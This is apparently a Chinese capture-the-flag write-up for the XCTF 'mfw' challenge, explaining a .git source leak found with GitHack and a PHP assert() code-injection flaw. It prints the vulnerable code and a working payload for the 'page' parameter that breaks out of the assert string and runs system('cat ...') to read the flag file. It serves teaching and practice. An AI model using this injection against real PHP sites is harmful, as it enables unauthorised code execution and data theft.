欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界----mfw

程序员文章站 2022-05-12 12:00:10
...

攻防世界----mfw

题目描述:

攻防世界----mfw

页面描述

攻防世界----mfw攻防世界----mfw
攻防世界----mfw

解题思路

观察上图,我们可以获得两个比较重要的信息
1.该网站是用git托管源码,以及用PHP编写
2.有一个flag文件(猜测后缀为.PHP)

怀疑存在.git源码泄露,于是尝试访问或者是dirsearch扫描目录
http://220.249.52.133:47363 /.git
攻防世界----mfw

利用githack下载源码,详细代码自己发现,获得以下的信息
1.关键的代码
2.template目录下存在flag.php文件(你可以尝试直接cat一下)

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";//用于拼接形成目录路径

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

发现一个assert()函数,想到可以是任意代码执行漏洞,而且对于尝试$page没有任何的控制直接拼接
首先我们确定的最后想要的肯定是利用assert()函数执行cat ./template/flag.php获得flag,那么肯定要破坏原来的assert的结构才能,使得我们的目标才能达成

assert("strpos('$file', '..') === false")
assert("file_exists('$file')")

那么我们就尝试构造
?page=') or system('cat ./template/flag.php');// 这里建议使用单引号便于后期区分
传入后就变成
$file="/template/') or system('cat ./template/flag.php');//.php"
注意时候//还是作为$file还是作为字符串的注意区分
替换
assert("strpos(''/template/') or system('cat ./template/flag.php');//.php, '..') === false")
正真运行
strpos(''/template/') or system('cat ./template/flag.php'); 由于strpos函数报错,因此运行我们构造的语句or后面的语句

放回页面为空,不要慌,查看源码你就会发现flag

**tips**
网上的wp有些返回结果是这样的
攻防世界----mfw

这其实是在原来的基础上在开头加上任意的东西,导致第二个assert()被执行从而输出两次,而原来的那个payload由于是空,但是是存在/template这个文件夹所以不执行后面的语句,如果不清楚是怎么替换的可以自己手工操作一遍就明白了(注意不要被单引号双引号搞乱了)

知识点

asssert()函数

assert()函数
PHP中该函数用于’断言’,简单来说就是用于判断表达式或者是调试程序,当判断的内容是字符串的时候,该函数会将字符串作为PHP代码执行,因此存在任意代码执行的漏洞,类似于eval()函数

strpos()函数

strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
注释:strpos() 函数是区分大小写的。
注释:该函数是二进制安全的。
攻防世界----mfw

总结

这题考察PHP代码审计的能力,以及.git源码泄露的知识点,虽然一开始不怎么清楚怎么做,但是看到git就想到会不会是源码泄露,随便还熟悉了一下githack工具的使用,进而找到关键的代码,但是PHP代码审计的能力不够,卡在这个点上,看了大佬的wp之后又做了一遍,有了自己的理解

相关标签: 攻防世界